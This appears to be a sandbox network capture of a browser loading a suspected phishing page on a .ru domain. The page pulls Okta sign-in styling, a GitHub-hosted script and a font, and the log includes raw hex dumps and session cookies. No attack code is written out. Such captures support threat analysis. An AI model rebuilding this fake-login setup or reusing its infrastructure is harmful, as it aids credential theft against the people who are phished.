85 10 b4 17 6d 64 5d 7f 6d fd 18 e7 fc 4c d0 0b 8f 01 f9 23 ef b3 71 d6 f7 46 2e e3 3f 0a 97 84 5e 28 d6 26 8b ec d7 f0 07 cf 04 5a fc 6d 6d c7 75 d0 24 2f 0c Data Ascii: $F3F2=b./^f;fv<c[^joly}f1Z0QC0mxzpC`k]Nm?<\|1ki->v?Rr#*!/uc4>><\jdmd]mL#qF.?^(&Zmmu$/
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 63 c9 24 cb b0 2a 62 27 a9 18 05 a7 52 38 da 62 2e 4a 4c ad 31 86 f1 51 43 46 2f b5 f8 9f ab 32 38 5e 8f ec ec 32 35 11 46 9d 3a 92 75 65 af 59 cb 70 b7 f5 10 be 31 72 41 70 bd 8e 2f 0b f3 d1 a3 b2 a5 86 2a 84 6b dc ed 91 bf b2 be a2 3d da 33 7a 5b b5 06 c6 6f 08 93 cc bc 68 71 55 23 30 3a 10 cc ff 92 90 10 c7 82 57 70 7c a3 0b 22 ea 92 4c ce fe 65 6e 2a 98 32 98 7a 57 9b a1 25 da 63 89 93 41 99 31 60 99 1b 52 a9 ec 72 59 4c b6 0c 8c 8b cb 98 01 87 6b 45 b3 43 a1 50 d6 ba 22 a5 d2 4b ca c7 88 e6 5a ad 25 20 2c 94 61 8c 31 a1 c9 61 c9 40 75 08 e1 86 c6 a8 77 07 86 e8 d2 15 0a bd bd aa d6 a6 8f 71 28 da 61 8a e3 3e 2b fb cb 63 17 bf 7e 60 f6 ec 07 be be f8 c8 df ca d8 fd d6 00 7c ce ba 18 df ba b3 77 d3 f5 d5 19 19 ab af 6f 92 14 f5 7f fa 0e 8e a9 ea 7d 7d Data Ascii: c$b'R8b.JL1QCF/28^25F:ueYp1rAp/k=3z[ohqU#0:Wp\|"Len*2zW%cA1`RrYLkECP"KZ% ,a1a@uwq(a>+c~`\|wo}}

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:59 UTC	692	OUT	GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1 Host: github.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://2y.osejonco.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-16 23:38:00 UTC	978	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Sun, 16 Mar 2025 23:38:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250316%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250316T233800Z&X-Amz-Expires=300&X-Amz-Signature=bc052f8b2492f49cbaf9d38d2479d8261b36198007d0f223f0328eb52202feae&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-03-16 23:38:00 UTC	3371	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.githu

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:38:00 UTC	638	OUT	GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://2y.osejonco.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-16 23:38:00 UTC	769	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 222931 Connection: close Date: Tue, 11 Mar 2025 10:14:43 GMT Server: nginx Last-Modified: Tue, 14 May 2024 21:48:24 GMT ETag: "0329c939fca7c78756b94fbcd95e322b" x-amz-meta-sha1sum: 7b5499b46660a0348cc2b22cae927dcc3fda8b20 Expires: Wed, 11 Mar 2026 10:14:43 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 d9636724d333576f23b5fcfb40d7830c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: SepPrSPPwYxDS52FeI2HAGxrAT8R9SSVeo7CVWxviq7j4qhcwRlhgw== Age: 480197
2025-03-16 23:38:00 UTC	16384	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 71 74 69 70 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 2e 35 70 78 3b 6c 65 66 74 3a 2d 32 38 30 30 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 32 38 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 35 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 38 30 30 30 70 78 7d 2e 71 74 69 70 2d 63 6f 6e 74 65 6e 74 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 39 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 71 Data Ascii: @charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.q
2025-03-16 23:38:00 UTC	16384	IN	Data Raw: 66 6f 72 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 69 73 6d 69 73 73 2d 69 63 6f 6e 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 7b 73 70 65 61 6b 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d Data Ascii: fore{font-size:32px;position:absolute}#okta-sign-in .dismiss-icon,#okta-sign-in [class="-32"]:after,#okta-sign-in [class="-32"]:before,#okta-sign-in [class^="-32"]:after,#okta-sign-in [class^="-32"]:before{speak:none;-webkit-font-smoothing:antialiased;-
2025-03-16 23:38:00 UTC	16384	IN	Data Raw: 6e 74 3a 22 5c 65 30 31 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 72 65 6d 6f 76 65 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 61 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 31 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 72 65 6d 6f 76 65 Data Ascii: nt:"\e01d"}#okta-sign-in .group-remove-16:after{color:#007cc0;content:"\e00a"}#okta-sign-in .group-member-add-16:before{color:#5e5e5e;content:"\e00d"}#okta-sign-in .group-member-add-16:after{color:#007cc0;content:"\e001"}#okta-sign-in .group-member-remove
2025-03-16 23:38:00 UTC	15095	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 39 66 39 66 39 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 3b 66 6c 6f 61 74 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 20 32 32 70 78 20 30 20 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 61 67 65 2d 6c 69 6e 6b 73 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b Data Ascii: background:#f9f9f9}#okta-sign-in .dropdown.more-actions .option-selected{color:#333;float:none!important;overflow:hidden;padding:0 22px 0 8px!important;position:relative;white-space:nowrap}#okta-sign-in .page-links .dropdown.more-actions .option-selected{
2025-03-16 23:38:00 UTC	16384	IN	Data Raw: 6e 3a 72 74 6c 3b 70 61 64 64 69 6e 67 3a 34 70 78 20 35 70 78 20 34 70 78 20 32 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 2e 63 68 7a 6e 2d 72 74 6c 20 2e 63 68 7a 6e 2d 73 69 6e 67 6c 65 20 64 69 76 20 62 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 36 70 78 20 32 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 2e 63 68 7a 6e 2d 72 74 6c 2e 63 68 7a 6e 2d 77 69 74 68 2d 64 72 6f 70 20 2e 63 68 7a 6e 2d 73 69 6e 67 6c 65 20 64 69 76 20 62 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 32 70 78 20 32 70 78 7d 40 6d 65 64 69 61 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 Data Ascii: n:rtl;padding:4px 5px 4px 20px}#okta-sign-in .chzn-container-single.chzn-rtl .chzn-single div b{background-position:6px 2px}#okta-sign-in .chzn-container-single.chzn-rtl.chzn-with-drop .chzn-single div b{background-position:-12px 2px}@media (-webkit-min-d
2025-03-16 23:38:00 UTC	16384	IN	Data Raw: 64 65 72 2d 62 6f 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6f 2d 66 6f 72 6d 2d 74 68 65 6d 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 77 72 61 70 20 2e 6f 2d 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 2e 6f 2d 66 6f 72 6d 2d 74 68 65 6d 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 64 64 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 31 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 33 2d 34 20 2e 6f 2d 66 6f 72 6d 2d 6c 61 62 65 6c 7b 77 69 64 74 68 3a 32 35 25 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f Data Ascii: der-box}#okta-sign-in .simplemodal-container .o-form-theme,#okta-sign-in .simplemodal-wrap .o-form-content.o-form-theme{border-color:#ddd;border-radius:0;border-width:0 1px;padding:30px}#okta-sign-in .o-form-3-4 .o-form-label{width:25%}#okta-sign-in .o-fo
2025-03-16 23:38:00 UTC	16384	IN	Data Raw: 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 6c 61 62 65 6c 2d 69 6e 6c 69 6e 65 2b 2e 69 6e 70 75 74 2d 66 69 78 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 37 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 69 6e 70 75 74 2d 66 69 78 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 74 65 78 74 61 72 65 61 2d 66 69 78 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 38 63 38 63 39 36 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 68 65 69 67 68 74 3a 34 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 69 6e 70 75 74 2d 66 69 78 20 69 Data Ascii: -sign-in .o-form .o-form-label-inline+.input-fix input[type=text]{line-height:27px}#okta-sign-in .o-form .input-fix,#okta-sign-in .o-form .textarea-fix{border:1px solid #8c8c96;display:inline-block;float:left;height:40px}#okta-sign-in .o-form .input-fix i
2025-03-16 23:38:00 UTC	16384	IN	Data Raw: 64 61 72 79 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 6c 61 73 74 2d 6f 66 2d 74 79 70 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 75 74 74 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 75 74 74 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 75 74 74 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 35 65 64 66 62 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 32 34 61 39 34 3b 63 6f 6c 6f 72 3a 23 31 32 Data Ascii: dary.link-button:last-of-type{margin-bottom:25px}#okta-sign-in .button-secondary.link-button:active,#okta-sign-in .button-secondary.link-button:focus,#okta-sign-in .button-secondary.link-button:hover{background-color:#e5edfb;border-color:#124a94;color:#12
2025-03-16 23:38:00 UTC	16384	IN	Data Raw: 20 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 63 6f 6e 73 65 6e 74 2d 64 65 73 63 72 69 70 74 69 6f 6e 20 70 7b 63 6f 6c 6f 72 3a 23 36 65 36 65 37 38 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 20 61 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e Data Ascii: p,#okta-sign-in .granular-consent .consent-description p{color:#6e6e78}#okta-sign-in .consent-required .consent-footer,#okta-sign-in .granular-consent .consent-footer{text-align:center}#okta-sign-in .consent-required .consent-footer a,#okta-sign-in .gran
2025-03-16 23:38:00 UTC	16384	IN	Data Raw: 67 2d 73 70 69 6e 6e 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 75 32 66 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 77 65 62 61 75 74 68 6e 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 76 65 72 69 66 79 2d 75 32 66 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 76 65 72 69 66 79 2d 77 65 62 61 75 74 68 6e 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 Data Ascii: g-spinner{display:none}#okta-sign-in .enroll-u2f-form .o-form-fieldset-container p,#okta-sign-in .enroll-webauthn-form .o-form-fieldset-container p,#okta-sign-in .verify-u2f-form .o-form-fieldset-container p,#okta-sign-in .verify-webauthn-form .o-form-fie

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:38:00 UTC	647	OUT	GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://2y.osejonco.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-16 23:38:00 UTC	768	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 10498 Connection: close Date: Tue, 11 Mar 2025 10:14:43 GMT Server: nginx Last-Modified: Thu, 14 Mar 2024 00:03:58 GMT ETag: "e0d37a504604ef874bad26435d62011f" x-amz-meta-sha1sum: 4301f0d2b729ae22adece657d79eccaa25f429b1 Expires: Wed, 11 Mar 2026 10:14:43 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 9bd2938ceb90e1a35f549d1165e84676.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: DGRlf9jbjK1XusRSMgIftlnVJB23i_VJ2jZruLctbKuZjOaHxQH0kg== Age: 480197
2025-03-16 23:38:00 UTC	9594	IN	Data Raw: 61 2c 61 62 62 72 2c 61 63 72 6f 6e 79 6d 2c 61 64 64 72 65 73 73 2c 61 70 70 6c 65 74 2c 62 2c 62 69 67 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6f 64 79 2c 63 61 70 74 69 6f 6e 2c 63 65 6e 74 65 72 2c 63 69 74 65 2c 63 6f 64 65 2c 64 64 2c 64 65 6c 2c 64 66 6e 2c 64 69 76 2c 64 6c 2c 64 74 2c 65 6d 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 74 6d 6c 2c 69 2c 69 66 72 61 6d 65 2c 69 6d 67 2c 69 6e 73 2c 6b 62 64 2c 6c 61 62 65 6c 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 62 6a 65 63 74 2c 6f 6c 2c 70 2c 70 72 65 2c 71 2c 73 2c 73 61 6d 70 2c 73 6d 61 6c 6c 2c 73 70 61 6e 2c 73 74 72 69 6b 65 2c 73 74 72 6f 6e 67 2c 73 75 62 2c 73 75 70 2c 74 61 62 6c 65 2c 74 62 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 Data Ascii: a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,t
2025-03-16 23:38:00 UTC	904	IN	Data Raw: 36 32 64 64 3b 63 6f 6c 6f 72 3a 23 31 36 36 32 64 64 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 64 70 2d 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 64 70 2d 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 64 70 2d 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 35 65 64 66 62 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 32 34 61 39 34 3b 63 6f 6c 6f 72 3a 23 31 32 34 61 39 34 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 61 75 74 68 2d 66 6f 6f 74 65 72 20 2e 68 65 6c Data Ascii: 62dd;color:#1662dd}#okta-sign-in .idp-piv-button.link-button:active,#okta-sign-in .idp-piv-button.link-button:focus,#okta-sign-in .idp-piv-button.link-button:hover{background-color:#e5edfb;border-color:#124a94;color:#124a94}#okta-sign-in .auth-footer .hel

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:38:00 UTC	1356	OUT	GET /GDSherpa-vf.woff2 HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive Origin: https://2y.osejonco.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
